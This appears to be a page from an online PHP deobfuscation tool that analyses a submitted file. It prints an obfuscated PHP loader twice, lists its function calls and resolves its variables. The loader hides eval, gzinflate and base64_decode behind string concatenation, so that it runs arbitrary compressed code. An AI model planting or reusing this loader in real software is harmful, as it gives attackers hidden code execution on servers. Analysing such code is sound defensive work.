Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$VwGQECVgMV='func'.'t'.'ion'.'_'.'e'.'xi'.'s'.'ts';$wJKCM='eva'.'l';$YvVLkbUAdSRd='g'.'zin..

Decoded Output download

<?  $VwGQECVgMV='func'.'t'.'ion'.'_'.'e'.'xi'.'s'.'ts';$wJKCM='eva'.'l';$YvVLkbUAdSRd='g'.'zin'.'f'.'la'.'t'.'e'.'';$YqtmwUJzgzQX='ABCDE'.'FG'.'HI'.'J'.'K'.'LMNO'.'PQR'.'ST'.'UV'.'WX'.'Y'.'Z'.'a'.'b'.'cde'.'f'.'g'.'hi'.'jk'.'lmn'.'op'.'qrs'.'tu'.'v'.'w'.'xy'.'z'.'012'.'3'.'4'.'5'.'6'.'7'.'89+'.'/='.'';$ysCgijZTbHwcA='su'.'b'.'s'.'t'.'r';$vwOuYoLuFAx='or'.'d';$GjaeDzDHFNiNfIz='s'.'t'.'r'.'len'.'';$Zqvbd='s'.'t'.'rpo'.'s';$fOdSEsfocD='imp'.'lode'.'';$pdTDDkuXXkCrKc='c'.'h'.'r'.'';$vOOPyDEYB='pr'.'eg_rep'.'la'.'c'.'e';$ZYCVKL='[^A-'.'Za-'.'z'.'0'.'-'.'9'.'\+\/'.'\=]'.'';$TCzJfCCxkYQf='==='.'';$SXuqI="";$gHfzGVNhbKO='ba'.'s'.'e64_en'.'co'.'d'.'e';$WJVHUlOZ='b'.'as'.'e'.'6'.'4'.'_'.'de'.'c'.'ode'.'';if(!$VwGQECVgMV($gHfzGVNhbKO)){function BzddEWBWhvh($nXNKuXYFVwcOe){global $YqtmwUJzgzQX,$ysCgijZTbHwcA,$vwOuYoLuFAx,$GjaeDzDHFNiNfIz,$fOdSEsfocD,$SXuqI,$TCzJfCCxkYQf;if(empty($nXNKuXYFVwcOe))return;$dAjKoiuUChsLGXO = $PZBKUoJ = $rjbUuGDhxv = $dllQaq = $upEJr = $PPwxplMIJfn = $jTmcAjlFLtx = $REJSSVbhPTFM = $wOardtHtLB = 0;$FVqmKIIcjEkm = 0;$YDRtAioENpkIC = $SXuqI;$XOrxqP = array();if(!$nXNKuXYFVwcOe){return $nXNKuXYFVwcOe;}do{$dAjKoiuUChsLGXO = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$PZBKUoJ = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$rjbUuGDhxv = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$REJSSVbhPTFM = $dAjKoiuUChsLGXO << 16 | $PZBKUoJ << 8 | $rjbUuGDhxv;$dllQaq = $REJSSVbhPTFM >> 18 & 0x3f;$upEJr = $REJSSVbhPTFM >> 12 & 0x3f;$PPwxplMIJfn = $REJSSVbhPTFM >> 6 & 0x3f;$jTmcAjlFLtx = $REJSSVbhPTFM & 0x3f;$XOrxqP[$FVqmKIIcjEkm++] = $ysCgijZTbHwcA($YqtmwUJzgzQX, $dllQaq, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $upEJr, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $PPwxplMIJfn, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $jTmcAjlFLtx, 1);} while ($wOardtHtLB < $GjaeDzDHFNiNfIz($nXNKuXYFVwcOe));$YDRtAioENpkIC = $fOdSEsfocD($XOrxqP, $SXuqI);$CNhoktlpx = ($GjaeDzDHFNiNfIz($nXNKuXYFVwcOe) % 3);return ($CNhoktlpx ? $ysCgijZTbHwcA($YDRtAioENpkIC, 0, ($CNhoktlpx - 3)) : $YDRtAioENpkIC).$ysCgijZTbHwcA($TCzJfCCxkYQf, ($CNhoktlpx || 3));}}else{function BzddEWBWhvh($nXNKuXYFVwcOe){global $gHfzGVNhbKO;return $gHfzGVNhbKO($nXNKuXYFVwcOe);}}if(!$VwGQECVgMV($WJVHUlOZ)){function JDZGgWhBJIafwDF($LEqUoUXQZW){global $YqtmwUJzgzQX,$ysCgijZTbHwcA,$GjaeDzDHFNiNfIz,$Zqvbd,$pdTDDkuXXkCrKc,$vOOPyDEYB,$ZYCVKL,$SXuqI;if(empty($LEqUoUXQZW))return;$MqvcrTOVHCLBgl = $xXASiMYkZwZBM = $OxdNG = $SXuqI;$RXUogSzYwD = $qNULI = $bgdPBDJKXJj = $tMjoMUOUDKLlfQf = $SXuqI;$wOardtHtLB = 0;$nfyotU = $SXuqI;$LEqUoUXQZW = $vOOPyDEYB($ZYCVKL, $SXuqI, $LEqUoUXQZW);do{$RXUogSzYwD = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$qNULI = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$bgdPBDJKXJj = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$tMjoMUOUDKLlfQf = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$MqvcrTOVHCLBgl = ($RXUogSzYwD << 2) | ($qNULI >> 4);$xXASiMYkZwZBM = (($qNULI & 15) << 4) | ($bgdPBDJKXJj >> 2);$OxdNG = (($bgdPBDJKXJj & 3) << 6) | $tMjoMUOUDKLlfQf;$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $MqvcrTOVHCLBgl);if ($bgdPBDJKXJj != 64) {$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $xXASiMYkZwZBM);}if ($tMjoMUOUDKLlfQf != 64) {$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $OxdNG);}$MqvcrTOVHCLBgl = $xXASiMYkZwZBM = $OxdNG = $SXuqI;$RXUogSzYwD = $qNULI = $bgdPBDJKXJj = $tMjoMUOUDKLlfQf = $SXuqI;}while($wOardtHtLB < $GjaeDzDHFNiNfIz($LEqUoUXQZW));return $nfyotU;}}else{function JDZGgWhBJIafwDF($nXNKuXYFVwcOe){global $WJVHUlOZ;return $WJVHUlOZ($nXNKuXYFVwcOe);}}$wKAClCfduolNGd='c'.'r'.'eat'.'e'.'_fun'.'ct'.'i'.'o'.'n'.'';$ManSOK = @$wKAClCfduolNGd('$EB',$wJKCM.'('.$YvVLkbUAdSRd.'('.'JDZ'.'GgWh'.'BJIafwD'.'F'.''.'($EB)'.')'.')'.';'); 
 ?>

Did this file decode correctly?

Original Code

$VwGQECVgMV='func'.'t'.'ion'.'_'.'e'.'xi'.'s'.'ts';$wJKCM='eva'.'l';$YvVLkbUAdSRd='g'.'zin'.'f'.'la'.'t'.'e'.'';$YqtmwUJzgzQX='ABCDE'.'FG'.'HI'.'J'.'K'.'LMNO'.'PQR'.'ST'.'UV'.'WX'.'Y'.'Z'.'a'.'b'.'cde'.'f'.'g'.'hi'.'jk'.'lmn'.'op'.'qrs'.'tu'.'v'.'w'.'xy'.'z'.'012'.'3'.'4'.'5'.'6'.'7'.'89+'.'/='.'';$ysCgijZTbHwcA='su'.'b'.'s'.'t'.'r';$vwOuYoLuFAx='or'.'d';$GjaeDzDHFNiNfIz='s'.'t'.'r'.'len'.'';$Zqvbd='s'.'t'.'rpo'.'s';$fOdSEsfocD='imp'.'lode'.'';$pdTDDkuXXkCrKc='c'.'h'.'r'.'';$vOOPyDEYB='pr'.'eg_rep'.'la'.'c'.'e';$ZYCVKL='[^A-'.'Za-'.'z'.'0'.'-'.'9'.'\+\/'.'\=]'.'';$TCzJfCCxkYQf='==='.'';$SXuqI="";$gHfzGVNhbKO='ba'.'s'.'e64_en'.'co'.'d'.'e';$WJVHUlOZ='b'.'as'.'e'.'6'.'4'.'_'.'de'.'c'.'ode'.'';if(!$VwGQECVgMV($gHfzGVNhbKO)){function BzddEWBWhvh($nXNKuXYFVwcOe){global $YqtmwUJzgzQX,$ysCgijZTbHwcA,$vwOuYoLuFAx,$GjaeDzDHFNiNfIz,$fOdSEsfocD,$SXuqI,$TCzJfCCxkYQf;if(empty($nXNKuXYFVwcOe))return;$dAjKoiuUChsLGXO = $PZBKUoJ = $rjbUuGDhxv = $dllQaq = $upEJr = $PPwxplMIJfn = $jTmcAjlFLtx = $REJSSVbhPTFM = $wOardtHtLB = 0;$FVqmKIIcjEkm = 0;$YDRtAioENpkIC = $SXuqI;$XOrxqP = array();if(!$nXNKuXYFVwcOe){return $nXNKuXYFVwcOe;}do{$dAjKoiuUChsLGXO = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$PZBKUoJ = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$rjbUuGDhxv = $vwOuYoLuFAx($ysCgijZTbHwcA($nXNKuXYFVwcOe, $wOardtHtLB++, 1));$REJSSVbhPTFM = $dAjKoiuUChsLGXO << 16 | $PZBKUoJ << 8 | $rjbUuGDhxv;$dllQaq = $REJSSVbhPTFM >> 18 & 0x3f;$upEJr = $REJSSVbhPTFM >> 12 & 0x3f;$PPwxplMIJfn = $REJSSVbhPTFM >> 6 & 0x3f;$jTmcAjlFLtx = $REJSSVbhPTFM & 0x3f;$XOrxqP[$FVqmKIIcjEkm++] = $ysCgijZTbHwcA($YqtmwUJzgzQX, $dllQaq, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $upEJr, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $PPwxplMIJfn, 1).$ysCgijZTbHwcA($YqtmwUJzgzQX, $jTmcAjlFLtx, 1);} while ($wOardtHtLB < $GjaeDzDHFNiNfIz($nXNKuXYFVwcOe));$YDRtAioENpkIC = $fOdSEsfocD($XOrxqP, $SXuqI);$CNhoktlpx = ($GjaeDzDHFNiNfIz($nXNKuXYFVwcOe) % 3);return ($CNhoktlpx ? $ysCgijZTbHwcA($YDRtAioENpkIC, 0, ($CNhoktlpx - 3)) : $YDRtAioENpkIC).$ysCgijZTbHwcA($TCzJfCCxkYQf, ($CNhoktlpx || 3));}}else{function BzddEWBWhvh($nXNKuXYFVwcOe){global $gHfzGVNhbKO;return $gHfzGVNhbKO($nXNKuXYFVwcOe);}}if(!$VwGQECVgMV($WJVHUlOZ)){function JDZGgWhBJIafwDF($LEqUoUXQZW){global $YqtmwUJzgzQX,$ysCgijZTbHwcA,$GjaeDzDHFNiNfIz,$Zqvbd,$pdTDDkuXXkCrKc,$vOOPyDEYB,$ZYCVKL,$SXuqI;if(empty($LEqUoUXQZW))return;$MqvcrTOVHCLBgl = $xXASiMYkZwZBM = $OxdNG = $SXuqI;$RXUogSzYwD = $qNULI = $bgdPBDJKXJj = $tMjoMUOUDKLlfQf = $SXuqI;$wOardtHtLB = 0;$nfyotU = $SXuqI;$LEqUoUXQZW = $vOOPyDEYB($ZYCVKL, $SXuqI, $LEqUoUXQZW);do{$RXUogSzYwD = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$qNULI = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$bgdPBDJKXJj = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$tMjoMUOUDKLlfQf = $Zqvbd($YqtmwUJzgzQX, $ysCgijZTbHwcA($LEqUoUXQZW, $wOardtHtLB++, 1));$MqvcrTOVHCLBgl = ($RXUogSzYwD << 2) | ($qNULI >> 4);$xXASiMYkZwZBM = (($qNULI & 15) << 4) | ($bgdPBDJKXJj >> 2);$OxdNG = (($bgdPBDJKXJj & 3) << 6) | $tMjoMUOUDKLlfQf;$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $MqvcrTOVHCLBgl);if ($bgdPBDJKXJj != 64) {$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $xXASiMYkZwZBM);}if ($tMjoMUOUDKLlfQf != 64) {$nfyotU = $nfyotU . $pdTDDkuXXkCrKc((int) $OxdNG);}$MqvcrTOVHCLBgl = $xXASiMYkZwZBM = $OxdNG = $SXuqI;$RXUogSzYwD = $qNULI = $bgdPBDJKXJj = $tMjoMUOUDKLlfQf = $SXuqI;}while($wOardtHtLB < $GjaeDzDHFNiNfIz($LEqUoUXQZW));return $nfyotU;}}else{function JDZGgWhBJIafwDF($nXNKuXYFVwcOe){global $WJVHUlOZ;return $WJVHUlOZ($nXNKuXYFVwcOe);}}$wKAClCfduolNGd='c'.'r'.'eat'.'e'.'_fun'.'ct'.'i'.'o'.'n'.'';$ManSOK = @$wKAClCfduolNGd('$EB',$wJKCM.'('.$YvVLkbUAdSRd.'('.'JDZ'.'GgWh'.'BJIafwD'.'F'.''.'($EB)'.')'.')'.';');

Function Calls

gzinflate 1
base64_decode 1
JDZGgWhBJIafwDF 1
create_function 1
function_exists 2

Variables

$SXuqI
$Zqvbd strpos
$wJKCM eval
$ZYCVKL [^A-Za-z0-9\+\/\=]
$WJVHUlOZ base64_decode
$vOOPyDEYB preg_replace
$VwGQECVgMV function_exists
$fOdSEsfocD implode
$gHfzGVNhbKO base64_encode
$vwOuYoLuFAx ord
$TCzJfCCxkYQf ===
$YqtmwUJzgzQX ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567..
$YvVLkbUAdSRd gzinflate
$nXNKuXYFVwcOe 0
$ysCgijZTbHwcA substr
$pdTDDkuXXkCrKc chr
$wKAClCfduolNGd create_function
$GjaeDzDHFNiNfIz strlen

Stats

MD5 44c454b0a9c4da50335d7448a5fc0954
Eval Count 1
Decode Time 372 ms